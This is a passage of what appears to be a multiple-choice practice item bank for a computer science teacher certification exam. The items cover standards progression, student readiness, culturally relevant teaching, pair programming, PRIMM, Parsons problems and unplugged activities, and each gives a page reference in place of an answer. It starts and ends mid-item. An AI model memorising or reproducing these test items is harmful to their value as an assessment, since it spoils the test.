C. see where the work is headed and what it should prepare students to do.

D. identify which students should receive accommodations.

Answer: page 1068

0005.a.4.3

A ninth-grade class is struggling with a standard on algorithms, and a teacher learns that many of the students received no computer science instruction in earlier grades. Which response makes the best use of the standards?

A. teaching the terms in the standard first, because gaps in computing are mostly gaps in vocabulary

B. replacing the grade 9-12 standard with earlier-band standards for the remainder of the school year

C. slowing the pace and repeating the same lessons on the standard until the class catches up

D. using earlier-band standards to identify missing foundations, and teaching them in service of the goal

Answer: page 1068

0005.a.4.4

A standard in an elementary grade band asks students to create programs using sequences, events, and loops. Which related goal would most likely come later among the standards for this concept?

A. writing the steps of a daily routine in the correct order on paper

B. using a loop to repeat an animated character's movement across a stage

C. creating programs that organize repeated code into functions with parameters

D. making a character respond when a particular key on the keyboard is pressed

Answer: page 1068

0005.a.4.5

A department finds that its grade 7 and grade 10 courses both open with the same unit on variables, whereas no course addresses data. Which use of the CS&DF standards best responds to this finding?

A. letting each teacher select the standards that best match that teacher's own strengths

B. mapping each course to the standards, to show both the repetition and the gap

C. assigning each course a single standard, so that nothing is ever taught a second time

D. adopting one course's sequence in all of the department's courses

Answer: page 1068

Developmental appropriateness

0005.a.5.1

A kindergarten teacher wants students to begin learning that the order of steps matters. Which activity is most developmentally appropriate for this class?

A. ordering picture cards to show the steps of a morning routine

B. listening to an explanation of why order matters to computer programs

C. typing short commands from a printed sheet to move a screen robot

D. circling the step that is out of order in a written list

Answer: page 1068

0005.a.5.2

A first-grade teacher is choosing materials for an introduction to sequence and debugging. Which set of approaches best fits this grade level?

A. command-line tools, typed scripts, and syntax references

B. block-based tools, text-based languages, and code reviews

C. lectures, quizzes, and written definitions

D. stories, unplugged activities, and block-based tools

Answer: page 1068

0005.a.5.3

A high school teacher plans to teach functions using the same block-based tool that students used in elementary school. Several students say that the tool feels childish. Which response is most appropriate?

A. staying with blocks, because the medium matters little for teaching the concept

B. moving to a text-based language, while keeping supports such as starter code

C. choosing a more colorful block tool, so that students find the environment more engaging

D. returning to unplugged activities, because abstraction needs concrete models for this age

Answer: page 1068

0005.a.5.4

A second-grade class is learning that programs can contain mistakes that can be found and fixed. Which task is the best fit for these students?

A. counting the statements in a typed program

B. writing a test plan that lists the cases a program should handle

C. reading a compiler's error message and correcting the named statement

D. finding the step that sends a floor robot off course

Answer: page 1068

0005.a.5.5

During a curriculum meeting, a teacher claims that young children cannot learn computer science because they have not learned to type. Which response is most accurate?

A. Young children can type well enough to start with text-based languages.

B. Typing should come first in the early grades, because it is the foundation of computing.

C. Sequence and debugging can be learned through tools that need no typing.

D. The claim holds for programming, although children can learn to use apps in the meantime.

Answer: page 1068

0005.b Student readiness

Read about this in the content summary: 0005.b, page 161.

Diagnostic assessment

0005.b.1.1

A teacher plans a unit on conditional statements and wants to learn what students already understand before planning the first lesson. Which approach is most appropriate?

A. a short code-reading task that asks students to predict output and explain why

B. a review of the grades that students earned in last year's mathematics course

C. a project on conditional statements that is graded at the end of the unit

D. a survey that asks how confident students feel about computer programming in general

Answer: page 1068

0005.b.1.2

A teacher gives a brief task on arrays in the first minutes of a new unit and plans to use the results to form working groups. How should the teacher treat the scores?

A. as a baseline that fixes each student's working group for the entire unit

B. as a small part of the term grade, to encourage effort

C. as a class chart, so that students can compare themselves with one another

D. as ungraded information about what each student already knows

Answer: page 1068

0005.b.1.3

A brief task before a unit on loops shows that 14 of 28 students correctly trace a nested loop, whereas the others make errors in the inner loop. Which next step makes the best use of this evidence?

A. reteaching tracing to the whole class, so that the explanation reaches the students who need it

B. postponing the unit until most students have passed a second check on nested loops

C. forming groups that give targeted support on tracing while the others extend the work

D. continuing as planned, because the students who can trace will help those who struggle

Answer: page 1068

0005.b.1.4

Before a unit on variables, a teacher has time for a two-minute conversation with each student. Which prompt would reveal the most about a student's current reasoning?

A. "How would you define the word variable in your own words for a classmate?"

B. "Which parts of programming do you expect to find hardest?"

C. "What do you think this code will output, and why do you think so?"

D. "Have you used variables before now, and in which course did you use them?"

Answer: page 1068

0005.b.1.5

A teacher gives a sixty-question pre-test of technical vocabulary that the class has never seen. Many students leave most of it blank and say that they feel unprepared for the course. Which change would most improve this check?

A. a shorter version that keeps only the terms most likely to appear on the final exam

B. a short ungraded task, so that the results reveal how students reason

C. the same test given again after a week, to measure early growth

D. the same test with added time, so that students can reach more questions

Answer: page 1069

Common misconceptions

0005.b.2.1

A student predicts that the program below will output `9`, explaining that line 02 made `a` and `b` "the same thing from now on."

```
01 int a = 5
02 int b = a
03 a = 9
04 output(b)
```

Which belief most likely explains this prediction?

A. An assignment creates a lasting relationship between two variables.

B. A variable can hold several different values at the same time.

C. A program can work out what its programmer meant to store.

D. An output statement displays the most recently assigned value in a program.

Answer: page 1069

0005.b.2.2

A student adds the comment on line 02 and is surprised that the program below outputs all of the values, including the odd ones.

```
01 int[] values = [3, 4, 7, 8]
02 /* keep only the even numbers */
03 for (int i = 0; i < values.size[1]; i = i + 1)
04     output(values[i])
```

Which belief should the teacher most suspect?

A. The computer acts on what a programmer intends, even when it is not coded.

B. A loop stops by itself when it reaches a value that it should not use.

C. A single equals sign states that two values remain equal for the rest of the program.

D. A variable can hold every value of an array at one time.

Answer: page 1069

0005.b.2.3

A teacher wants a brief check of whether students think that a variable keeps every value ever assigned to it. Which task would best reveal this belief?

A. predicting the output of `int x = 1`, then `x = 2`, then `output(x)`

B. writing a definition of the word "variable" in a complete sentence

C. correcting the statement `int x = "one"` so that its type matches its value

D. predicting the output of `int x = 1`, then `int y = 2`, then `output(x + y)`

Answer: page 1069

0005.b.2.4

A student writes `if (score = 90)` in a program. Asked what this line does, the student says that it "checks whether score is 90," and gives the same meaning for `score = 90` alone on a line. What should the teacher explore?

A. whether the student distinguishes storing a value from comparing two values

B. whether the student knows that conditions must appear inside a set of parentheses

C. whether the student expects a condition to be rechecked later

D. whether the student knows that a variable's type is declared before its first use

Answer: page 1069

0005.b.2.5

A student whose program outputs a list in its original order says, "It has all of the numbers, so it should know that they go in order." Which teacher action most directly addresses this thinking?

A. asking the student to add a comment that clearly states the program's purpose

B. asking the student to trace what each statement actually does with the values

C. explaining that programs are sensitive to exact spelling and punctuation

D. showing the student a library call that sorts a list in a single statement

Answer: page 1069

Varied prior experience

0005.b.3.1

A new student says that she has never taken a computer science class but regularly modifies spreadsheets at her family's business and designs game levels online. How should a teacher interpret this information?

A. as a sign that her skills are limited to using applications and playing games

B. as evidence that she can skip the introductory lessons

C. as experience from outside school that reveals assets to build on

D. as irrelevant, because readiness depends on prior coursework in the subject

Answer: page 1069

0005.b.3.2

A teacher assumes that all ninth graders in a school have similar computing experience, since they attended the same middle school and were issued the same laptops. Which statement best challenges this assumption?

A. Middle school courses vary in quality, and this is the main source of any difference.

B. School laptops offer few chances to use computing, so most students begin with none.

C. Much computing experience is gained outside school and differs widely among students.

D. Computing experience tends to follow age, so grade level is the wiser thing to compare.

Answer: page 1069

0005.b.3.3

A teacher wants to learn about students' prior computing experience without leaving some of them feeling behind. Which approach best serves this purpose?

A. a chart that ranks each student by programming experience

B. a short coding exam on text-based syntax, with scores returned to each student privately

C. a survey that asks about many kinds of digital making, such as spreadsheets and games

D. a show of hands by students who have written a program before

Answer: page 1069

0005.b.3.4

A readiness survey shows that a few students have years of coding experience, and during discussions these students answer nearly every question. Which response is most appropriate?

A. moving them to a separate advanced group, so that novices feel comfortable speaking

B. asking them to lead small groups and teach their classmates for the remaining units

C. teaching at their level, so that the other students have a clear target to reach

D. offering extensions and using turn-taking structures, so that all students contribute

Answer: page 1069

0005.b.3.5

A teacher's readiness survey asks only which formal programming courses students have taken, and many students report none. Which revision would most improve what the survey reveals?

A. adding questions on spreadsheets, game design, and other computing done outside school

B. adding questions on the grades that students earned in those programming courses

C. adding questions on the languages that students used in those programming courses

D. adding a section on how confident students feel about taking a programming course

Answer: page 1069

Separating language from CS knowledge

0005.b.4.1

A multilingual learner scores poorly on a written pre-assessment on loops, but correctly predicts the output of a loop when the teacher shows the code and uses gestures. Which conclusion is most appropriate?

A. The gestures may have revealed the answer, so the written score is the more reliable.

B. The student may need English instruction before any instruction on loops can begin.

C. The student may have memorized that example, so loop knowledge is unproven.

D. The written format may have limited what the student could show about loops.

Answer: page 1069

0005.b.4.2

A teacher lets students answer a pre-assessment on conditionals in their preferred language, and a fluent colleague helps to read the answers. The main benefit of this decision is that the results:

A. take less of the teacher's time to read and to interpret.

B. give students practice with English technical vocabulary.

C. show more clearly what students understand about the content.

D. provide a measure of students' proficiency in both languages.

Answer: page 1069

0005.b.4.3

A pre-assessment asks, "Elucidate the ramifications of omitting the incrementation statement in the ensuing iterative construct." Which revision best preserves what the question measures for a class with many multilingual learners?

A. Show the loop, mark the statement, and ask, "What happens if this is removed?"

B. Replace the question with a multiple-choice item that asks for the definition of iteration.

C. Keep the wording of the question, and allow additional time.

D. Keep the wording, and have the teacher read it aloud.

Answer: page 1069

0005.b.4.4

A teacher wants to check whether newly arrived multilingual learners can reason about a loop's logic, without the demands of reading and writing affecting the result. Which task best meets this goal?

A. explaining how a loop works in a paragraph, with a word bank

B. putting scrambled lines of code in a working order

C. matching loop vocabulary with pictures

D. reading about a program and answering questions on its purpose

Answer: page 1069

0005.b.4.5

A district runs its pre-assessment through automatic translation software and sends the result to schools with no review. Which concern should a computer science teacher raise first?

A. Simplified translated language may give away the answers to many of the questions.

B. Translated tests take longer to complete, so the time limit may be unfair.

C. Students may prefer to read in English when they speak other languages at home.

D. Mistranslated technical terms may change what each of the questions measures.

Answer: page 1070

0005.c Culturally relevant connections

Read about this in the content summary: 0005.c, page 163.

Culturally relevant pedagogy

0005.c.1.1

A teacher in a neighborhood with many Dominican families plans a data analysis unit that should draw on students' experiences, keep expectations high, and raise questions about society. Which plan best accomplishes all three aims?

A. Students analyze a simplified cafeteria data set, because easier tasks protect their confidence.

B. Students create slides on Dominican food and music, then add a chart of favorite dishes.

C. Students complete the standard textbook exercises, then discuss inequality in a separate lesson.

D. Students analyze local housing data using rigorous criteria and discuss whom the patterns affect.

Answer: page 1070

0005.c.1.2

A teacher reasons that because a class's projects now draw on students' community experiences, the programming criteria can be relaxed to keep the work welcoming. Which statement best evaluates this reasoning?

A. The projects should be dropped, because community topics compete with rigorous programming work.

B. Relaxing the criteria is appropriate, because engagement is the main outcome of relevant instruction.

C. The reasoning is sound, provided that the relaxed criteria apply equally to every student.

D. Building on students' experiences should occur alongside high expectations, so the criteria should remain.

Answer: page 1070

0005.c.1.3

In a unit on algorithms, a class has built a simple program that ranks job applicants by counting keywords in their resumes. Which discussion question best develops students' awareness of societal issues?

A. Which keywords would employers in our community most want to find?

B. Whom might this ranking help or harm in our community, and why?

C. How could the ranking run faster on a longer list?

D. How could the program be explained to a classmate who was absent?

Answer: page 1070

0005.c.1.4

Before a project unit, a teacher tells colleagues that the Latino students in a class will want projects about food and music, and prepares templates on those topics. What is the main flaw in this plan?

A. It provides templates, which cannot be used in projects meant to be personal.

B. It draws on assumptions about a group, not knowledge of these students.

C. It chooses topics too narrow to cover the computer science standards.

D. It connects projects to culture, which distracts from computing concepts.

Answer: page 1070

0005.c.1.5

A teacher changes a lesson on recommendation algorithms so that students gather evidence of how a platform represents their communities, then report what they find. How does this change most strengthen the lesson?

A. It links technical knowledge to students' experiences and to questions of power.

B. It asks students to adopt the teacher's position on fairness.

C. It raises engagement by letting students use their favorite apps during class time.

D. It replaces technical study with a discussion of how students feel about platforms.

Answer: page 1070

Funds of knowledge

0005.c.2.1

A student helps at a family auto repair shop, where she follows diagnostic procedures to trace faults in engines. A computer science teacher learns of this while planning a unit. How could the teacher best draw on it?

A. assigning her a car-themed program, so that the assignment matches her interests

B. excusing her from debugging lessons, because she already reasons through faults at work

C. connecting her fault-tracing procedure to debugging, so that she can apply it in code

D. inviting her to describe the shop once, as a class introduction to the unit

Answer: page 1070

0005.c.2.2

A teacher learns that one student's family repairs bicycles and another's runs a market stall, and begins to treat these skills as resources for teaching programming. This view best reflects:

A. diagnostic assessment.

B. funds of knowledge.

C. scaffolding.

D. computational thinking.

Answer: page 1070

0005.c.2.3

A teacher wants to learn what work and skills are present in students' households before designing a unit on procedures. Which step is most useful?

A. drawing on the teacher's experience of growing up in a similar place

B. asking students and family members directly what they do and know

C. reviewing each student's prior test scores and course records

D. reading a published profile of the neighborhood's income and employment

Answer: page 1070

0005.c.2.4

In a planning meeting, a teacher describes students as "having no background to build on," because their parents do not use computers at work. Which response most directly challenges this view?

A. Background matters little in computer science, as long as expectations are kept high.

B. Families without workplace computers could be offered evening computer courses before the unit begins.

C. Students can learn basic computer use at school, and they can build a background from that.

D. Family work such as budgeting, repair, and cooking involves procedures and data useful in computing.

Answer: page 1070

0005.c.2.5

A student's grandmother weaves textiles with repeated patterns, and the student has offered to bring samples to class. Which lesson connects most directly to this knowledge?

A. conditionals, by checking whether a given sample is large

B. loops, by modeling a repeating row of the weave in code

C. file storage, by saving photographs of samples in named folders

D. networks, by sharing photographs on a web page

Answer: page 1070

Personally meaningful projects

0005.c.3.1

A teacher's goal is that students use conditionals and variables in a program. The class includes students with very different interests and backgrounds. Which assignment best connects the goal to who the students are?

A. a game or story on a topic that students choose, required to use both constructs

B. a slide presentation on a favorite game, covering how the game's rules work

C. a temperature converter with inputs that each student is free to choose for testing

D. a game on any topic, with the programming constructs left to each student's judgment

Answer: page 1070

0005.c.3.2

A student who has said that programming "is not for people like me" becomes deeply engaged when allowed to build a quiz on the history of her neighborhood. This change is best explained by the fact that the project:

A. connected the learning goal to her interests and identity.

B. reduced the difficulty of the programming she needed to do.

C. removed the need for instruction on the required concepts.

D. offered her a stronger incentive tied to the course grade.

Answer: page 1070

0005.c.3.3

In an open-choice project on which loops are the unit's main concept, a student submits an elaborate game about his neighborhood that repeats the same statements many times and contains no loops. What should the teacher do?

A. Accept the game, because the student's engagement outweighs one missing construct.

B. Assign a separate loop exercise on another topic, and accept the game as it is.

C. Keep the topic, and have the student revise the repeated code by using loops.

D. Ask the student to choose a simpler topic, one that lends itself more readily to loops.

Answer: page 1070

0005.c.3.4

A teacher is reviewing students' proposals for a final programming project. Which criterion is most useful in deciding whether to approve a proposal?

A. whether it uses the most advanced tools that the school has available

B. whether it is comparable in scale to the example project that the teacher built

C. whether it lets the student use the target skills on a topic of personal interest

D. whether it stays away from sensitive topics in the student's own community

Answer: page 1070

0005.c.3.5

A teacher wants each student to make a project on a topic of the student's choosing, but worries that novices will be unable to begin from a blank file. Which approach best addresses this concern?

A. a detailed template that all students complete identically

B. starter code with structured choices that students then make their own

C. a delay of projects until students have finished the unit's exercises

D. a sign-up list for help, offered once students have attempted the project alone

Answer: page 1071

Activating prior knowledge

0005.c.4.1

A teacher has students describe a class routine that repeats until the bell rings. Students enjoy the discussion, but the next day few of them can write a loop. What was most likely missing?

A. a larger number of everyday routines to discuss before introducing code

B. a longer introduction to loop syntax before an everyday example was raised

C. a routine drawn from students' lives outside of school and not from class

D. an explicit mapping from parts of the routine to a loop's body and condition

Answer: page 1071

0005.c.4.2

A teacher opens a lesson by having students rearrange the steps of a recipe and describe what goes wrong when the steps are out of order. This experience best prepares students to learn about:

A. data types.

B. selection.

C. sequencing.

D. recursion.

Answer: page 1071

0005.c.4.3

A teacher tells students that a variable is like a box. A student then predicts that the program below will output both `1` and `2`, since a box can hold many things.

```
01 int x = 1
02 x = 2
03 output(x)
```

How should the teacher respond?

A. Have the student run the program several times, until the output becomes familiar.

B. Drop all comparisons, and have students memorize a formal definition of the term variable.

C. Replace the box with a list comparison, and show that a variable keeps a record of values.

D. Discuss where the box comparison breaks down, and show that assignment replaces the value.

Answer: page 1071

0005.c.4.4

A teacher opens a first lesson on conditionals in a class with little programming experience. Which opening question best draws on what students already know?

A. “What does an `if` statement look like in the languages you have used?”

B. “What decisions do you make each morning, and what do they depend on?”

C. “Which words in a program have special meanings?”

D. “What do you already know about how an operating system makes decisions?”

Answer: page 1071

0005.c.4.5

Many students in a class regularly use photo filters in social media apps. How could a teacher most effectively use this experience in a lesson on digital images?

A. Start with pixel values only, because the apps hide what a programmer needs to learn.

B. Demonstrate several filters, letting students infer for themselves that a program changes the image.

C. Connect a familiar filter to how a program changes pixel values, then have students write one.

D. Have students apply filters to their own photos, and vote on which is the most effective.

Answer: page 1071

Connecting to community issues

0005.c.5.1

Students are concerned about broken streetlights in their neighborhood, and their teacher is planning a unit on data. Which project best connects the unit's goals to this concern?

A. writing a program that outputs a safety message about streetlights on a class web page

B. mapping a sample textbook data set, then discussing similar issues in the neighborhood

C. collecting and mapping reports, then sharing the findings with local officials

D. writing letters to officials about the streetlights on a computer

Answer: page 1071

0005.c.5.2

After a class uses public data to show which nearby bus routes run late and presents its results to the transit board, students say that they see computing differently. This project most directly shows students that:

A. computing can be used to pursue their own and their community's goals.

B. data analysis can settle local disputes without any need for further debate.

C. local issues are the most engaging way to practice programming syntax.

D. computing careers are the most effective way to escape local problems.

Answer: page 1071

0005.c.5.3

A class builds a website for a local food pantry after interviewing its staff, and revises the site after the staff have tried it. Which feature adds most to the project's value as computer science learning?

A. Students feel motivated by helping an organization, regardless of the technical content.

B. Students learn about food insecurity by visiting the pantry and interviewing its staff.

C. Students complete a product that the pantry can keep using.

D. Students apply design and programming to a real need and test with real users.

Answer: page 1071

0005.c.5.4

A class is about to analyze local data on access to public parks. Which early step would best keep the project connected to students' own goals?

A. choosing a better documented data set from another city, as local data is messy

B. helping students form their own questions and find data to answer them

C. teaching chart types, so that students have the tools before choosing a question

D. giving students a cleaned data set and a stated conclusion to be verified

Answer: page 1071

0005.c.5.5

A class project maps pollution near students' homes using readings gathered at each address, and some results could reveal sensitive information about particular families. What should the teacher do before the map is shared?

A. Publish the full data, because residents benefit from knowing the exact conditions.

B. Replace the local data with a data set from another region of the country.

C. Remove family names, and post the map with a marker at each home's location.

D. Discuss privacy, and aggregate the data so that no household is identifiable.

Answer: page 1071

0005.d Instructional strategies

Read about this in the content summary: 0005.d, page 166.

Constructionism

0005.d.1.1

In a unit on functions, students build and share animated stories on topics they chose, writing their own functions for characters' repeated actions. Which theory of learning does this design most clearly reflect?

A. constructionism

B. cognitive load theory

C. direct instruction

D. behaviorism

Answer: page 1071

0005.d.1.2

A teacher holds that learners build knowledge especially well when making something meaningful that others can see. Which change to a unit on data is most consistent with this view?

A. students create a data story on a question they care about and present it to others

B. students create the single chart that the teacher assigned and submit it for a grade

C. students copy a teacher's completed chart, to practice using each of the spreadsheet's menus

D. students answer textbook questions about charts made by professional data designers

Answer: page 1071

0005.d.1.3

A student's project on a family tradition is highly personal and has been widely shared at school, but the student cannot explain how it works because the teacher wrote the difficult parts. What should the teacher conclude?

A. The project succeeded, since a personal artifact has been made and shared with others.

B. The teacher's contribution was appropriate, since it allowed the student to finish the work.

C. The project shows that personal projects are a poor way to teach computing concepts.

D. The student's learning remains in doubt, since it comes through the student's own building.

Answer: page 1071

0005.d.1.4

A teacher organizes a course around students making projects that they care about and sharing them with others. Which classroom norm best fits this design?

A. limiting students to techniques that the class has already practiced together

B. scoring each project by how closely it matches one model that the teacher provides

C. keeping all work private until a finished version has been graded by the teacher

D. posting works in progress, so that students learn from one another's designs

Answer: page 1071

0005.d.1.5

The idea that learners build knowledge especially well when making shareable artifacts is most closely associated with which researcher?

A. Lee Cronbach

B. Seymour Papert

C. B. F. Skinner

D. Benjamin Bloom

Answer: page 1071

Pair programming

0005.d.2.1

Two students are sharing one computer for a programming task. A teacher notices that one student has typed all of the code while the partner has remained silent. Which change would most improve the activity?

A. using a timer, so that partners regularly exchange the typing and reviewing roles

B. asking the silent partner to write a report on the code once it has been finished

C. letting the more experienced partner type, so that the other can watch expert work

D. moving each student to a separate computer, so that both are forced to participate

Answer: page 1072

0005.d.2.2

During a paired coding session, one student types while the other reads each statement, questions decisions, and thinks ahead. The student who is not typing is serving as the:

A. navigator.

B. tester.

C. project manager.

D. driver.

Answer: page 1072

0005.d.2.3

A teacher of novices is about to have partners work together on one program. Which directions best set up the activity?

A. “Let the partner with more experience type first, until the other partner feels ready.”

B. “Divide the program in half, write each half on your own computer, and combine them.”

C. “Share one screen, talk through decisions, and trade roles when the timer sounds.”

D. “Work quietly on one screen, then discuss the finished program.”

Answer: page 1072

0005.d.2.4

A department notices that students who regularly code with a partner at one computer are more likely to continue through its introductory course. Which explanation is most plausible?

A. Partners support one another and share problem solving when one of them gets stuck.

B. Partners receive a shared grade, which protects each one from receiving a failing result.

C. Partners type faster together, so assignments take less time.

D. Partners each complete less of the code, so the course has a lighter workload for each.

Answer: page 1072

0005.d.2.5

In a class with widely differing prior experience, a teacher finds that partnerships at one computer are often dominated by a single student. Which approach best supports equitable participation?

A. pairing students thoughtfully, monitoring dynamics, and adjusting when one student dominates

B. matching the two strongest students together for higher project quality

C. letting the most confident students choose partners, so that the pairs feel comfortable

D. fixing pairs in September, so that partners have time to settle into working habits

Answer: page 1072

PRIMM

0005.d.3.1

A teacher displays the program below, and students write down what they expect it to output. The class then runs it and compares results. Which activity should come next in this sequence?

```
01 int total = 0
02 for (int i = 1; i < 6; i = i + 1)
03     total = total + i
04 output(total)
```

A. changing the program so that it adds only the even numbers up to 10

B. copying the program into a notebook to keep for reference on the quiz

C. writing a new program that finds a total, starting from a blank file

D. tracing how `total` changes and explaining the role of each statement

Answer: page 1072

0005.d.3.2

Many novices in a class freeze when facing a blank file, so a teacher has them read, run, and question existing programs before writing any of their own. Which rationale best supports this order?

A. Reading code first reduces the cognitive load of learning to write it.

B. Reading code replaces most of the writing that novices would otherwise do.

C. Reading code is easier to grade, so feedback arrives sooner.

D. Reading code exposes novices to syntax, which they memorize before writing.

Answer: page 1072

0005.d.3.3

Before running a short program, a teacher has students write down the output they expect. Several expect two lines of output, but the program produces one. What is the main value of this step?

A. A written prediction gives the teacher a score to use in assigning the unit's grades.

B. A mismatch between a prediction and the result exposes how students think code works.

C. A written prediction lets students skip the tracing that would otherwise follow the run.

D. A written prediction prevents students from making typing errors as they enter the code.

Answer: page 1072

0005.d.3.4

A lesson moves students through predicting a program's output, running it, examining how it works, changing it, and finally making their own. Which framework does this lesson follow?

A. use-modify-create

B. live coding

C. Parsons problems

D. PRIMM

Answer: page 1072

0005.d.3.5

A class has predicted, run, and traced a working program, but most students stall when asked to write a new one. Which intermediate step would help most?

A. running the same program with many other input values and noting each output

B. writing the new program with a partner, with no starting code provided

C. changing parts of that program before writing one of their own

D. taking a vocabulary quiz on the program's terms

Answer: page 1072

Parsons problems

0005.d.4.1

A teacher wants novices to practice constructing a nested loop's logic without being slowed by typing or syntax errors. Which activity best meets this goal?

A. tracing a finished nested loop and recording each variable's value

B. writing the nested loop in a blank file using a syntax reference

C. arranging given lines of code into a working order

D. typing a finished nested loop from a printout

Answer: page 1072

0005.d.4.2

A teacher hands out the statements below on separate strips of paper and asks students to place them so that the program outputs the sum of an array named `values`.

```
total = total + values[i]
int total = 0
output(total)
for (int i = 0; i < values.size[1]; i = i + 1)
```

This task is an example of:

A. a use-modify-create task.

B. a Parsons problem.

C. a code-tracing task.

D. a worked example.

Answer: page 1072

0005.d.4.3

A teacher is preparing a set of code strips for students to arrange in order. The teacher adds one extra strip that uses <= where the correct program uses <, and tells students that not every strip belongs. What is the main benefit of this change?

A. Students must discriminate between correct code and a common error.

B. Students see both versions together, so they no longer need to trace the code.

C. The task takes longer, which adds time on the topic.

D. The extra strip reduces cognitive load by giving students more choices to consider.

Answer: page 1072

0005.d.4.4

A teacher has a set of tasks in which students arrange given lines of code in a working order. For which group of students are these tasks most appropriate?

A. students who are beginning to combine constructs and need focused practice

B. students who have not yet seen what any of the constructs in the code do

C. students who are preparing to gather an original program's requirements from a client

D. students who write complex programs independently and want open-ended extension

Answer: page 1072

0005.d.4.5

A teacher finds that students solve code-ordering problems in an online tool by trying arrangements until the automatic checker accepts one. Which change best preserves the learning benefit?

A. limiting the number of checks and asking students to explain the order

B. adding more lines, so that guessing takes longer

C. awarding points for finishing fastest, to reward students who know the logic

D. raising the number of checks, so that each student receives more feedback

Answer: page 1072

Unplugged activities

0005.d.5.1

A class acts out a sorting algorithm by standing in a line and comparing the numbers on their cards. The teacher then moves on to an unrelated unit. Which addition would most improve this activity?

A. repeating the activity with a larger number of cards, so that the steps become clear

B. having students write a paragraph on what they enjoyed most about the activity

C. adding a class competition, so that a greater number of students remain attentive

D. connecting the activity explicitly to a program that implements the same algorithm

Answer: page 1073

0005.d.5.2

For a lesson on search, a teacher has students walk through an algorithm using face-down cards on their desks, with no devices in use. This approach is best described as:

A. a use-modify-create task.

B. live coding.

C. a Parsons problem.

D. an unplugged activity.

Answer: page 1073

0005.d.5.3

A school has very few computers, and a teacher wants students to understand how data moves across a network to reach its destination. Which activity best fits these conditions?

A. students read and copy a definition of routing

B. students take turns at one computer, watching an animation of how routing works

C. students wait for a computer cart to become available before they begin the unit

D. students pass labeled message cards through classmates who act as routers

Answer: page 1073

0005.d.5.4

For an entire semester, a teacher relies only on card and movement activities. By the end, students can describe the concepts but struggle to use them in programs. This result most likely illustrates that:

A. the activities were not connected explicitly to programming.

B. the concepts are difficult to learn without the use of computers.

C. movement activities are best suited to young students.

D. card activities hide too much of the logic of the algorithms.

Answer: page 1073

0005.d.5.5

A teacher introduces binary numbers using cards showing 8, 4, 2, and 1 dots, and students turn cards face up to show different quantities. Which question best links this activity to computing?

A. “How could a computer use on and off states to store the number 11?”

B. “What other everyday objects could be used to count all the way up to 11?”

C. “How quickly can your group show the number 11?”

D. “Which cards would you need to turn face up to show exactly 11 dots?”

Answer: page 1073

Worked examples and live coding

0005.d.6.1

A teacher will write a new function in front of the class on a projector, to show students how a programmer works. Which approach makes the best use of this format?

A. typing quickly and narrating only the syntax, so that students focus on correct code

B. thinking aloud, making real errors, and showing how to read messages and fix them

C. correcting errors off-screen, to model the confidence that students should aim for

D. pasting in a tested solution and explaining it, so that no time is lost to errors

Answer: page 1073

0005.d.6.2

A teacher gives students a handout that shows a complete solution to a loop problem, with a note beside each step explaining why it is written that way. This handout is best described as:

A. a worked example.

B. a scaffolded template.

C. a Parsons problem.

D. a live-coding script.

Answer: page 1073

0005.d.6.3

A teacher displays the program below with its explanation and wants students to engage with it, not merely read it. Which prompt is most useful?

```
01 int count = 0
02 for (int i = 0; i < 5; i = i + 1)
03     count = count + 2
04 output(count)
```

A. “Write down the program’s output, and memorize it for the quiz at the end of class.”

B. “Run the program once, and confirm that the output matches the output on the handout.”

C. “Copy the program into your notebook, and underline its keywords.”

D. “Explain why the loop starts at 0, and what would change if it started at 1.”

Answer: page 1073

0005.d.6.4

A teacher replaces half of a beginning class's practice problems with fully explained solutions to study. A colleague worries that students will learn less. Which rationale best supports the teacher's decision?

A. Studying explained solutions lets teachers avoid class discussion of common student errors.

B. Studying explained solutions removes the need for later practice in writing programs.

C. Studying explained solutions reduces cognitive load while showing how experts solve problems.

D. Studying explained solutions is more motivating, since students see correct answers first.

Answer: page 1073

0005.d.6.5

A class that began the year studying fully explained solutions can now solve most problems of the same type. What should the teacher do with these solutions?

A. keep them unchanged, for the sake of consistency

B. replace them with lectures on how expert programmers think about problems

C. fade them in favor of more independent problem solving

D. add more of them at the same rate, so that students always have a model

Answer: page 1073

Use-modify-create

0005.d.7.1

In a game-design unit, a teacher wants students to take ownership of programming gradually, moving from an existing program toward their own. Which sequence best follows this plan?

A. Play a provided game, change its speed and rules, then design an original game.

B. Read a game's review, answer questions about it, then write a design proposal.

C. Design an original game, test it with peers, then compare it with a provided game.

D. Play a provided game, answer questions on its rules, then play another provided game.

Answer: page 1073

0005.d.7.2

A unit begins with students running a working simulation, continues with students changing its parameters, and ends with students building their own. Over this unit, what is gradually transferred to the learner?

A. responsibility for grading

B. control of the school's tools

C. the task of teaching peers

D. ownership of the program

Answer: page 1073

0005.d.7.3

After running a working program, students want to see how a change to one variable affects its behavior, without building the entire structure themselves. In a sequence that leads toward writing original programs, this work belongs to which stage?

A. create

B. use

C. modify

D. predict

Answer: page 1073

0005.d.7.4

During a unit that moves from existing programs to original ones, a student cannot begin a project from a blank file. What is the most appropriate support?

A. returning to a working example for the student to change and build on

B. reassigning a fixed exercise that involves no choices

C. asking the student to keep trying until a first statement appears in the file

D. writing the first half of the project on the student's behalf to get it started

Answer: page 1073

0005.d.7.5

One course starts novices with running and changing a working program, and another has them write programs from a blank file on the first day. Which statement best describes the first course's advantage?

A. It has learners memorize syntax before viewing working code.

B. It starts learners with code that runs, which lowers the initial risk of failure.

C. It lets learners use programs without having to understand how they work at all.

D. It replaces student writing with reading, since working code teaches what writing would.

Answer: page 1073

Choosing computational media

0005.d.8.1

A middle school teacher has students with no programming background, and the goal is for them to make interactive stories about their own lives within two weeks. Which choice of tool is most appropriate?

A. a spreadsheet, because formulas can run without any programming background at all

B. a low-level language, because the machine comes first

C. a text-based language, because early struggle with syntax builds lasting persistence

D. a block-based tool, because a low floor and fewer syntax errors suit the goal

Answer: page 1073

0005.d.8.2

A teacher compares programming tools for a course and notes that in one tool students snap commands together and cannot misspell a statement. Which statement best describes the trade-off involved in choosing this tool?

A. It supports only sequences of commands, whereas text-based languages also support loops and conditionals.

B. It offers more power than text-based languages, whereas those languages have a much lower floor.

C. It offers a low floor and prevents syntax errors, whereas text-based languages offer more power.

D. It avoids programming concepts, whereas text-based languages require students to learn them.

Answer: page 1073

0005.d.8.3

High school students with text-based programming experience want to analyze a public data set of several million records for a capstone project. Which tool best fits this goal?

A. a text-based language with data libraries

B. a drawing program for building charts by hand

C. a block-based tool designed for animated stories

D. a word processor's built-in table feature

Answer: page 1074

0005.d.8.4

During a class discussion, a student says that block-based coding "is not real programming," and several classmates agree. Which response is most accurate?

A. Blocks count as programming only for younger children.

B. Blocks are more powerful than text, because they prevent common errors.

C. Blocks use the same core constructs as text, with fewer barriers from syntax.

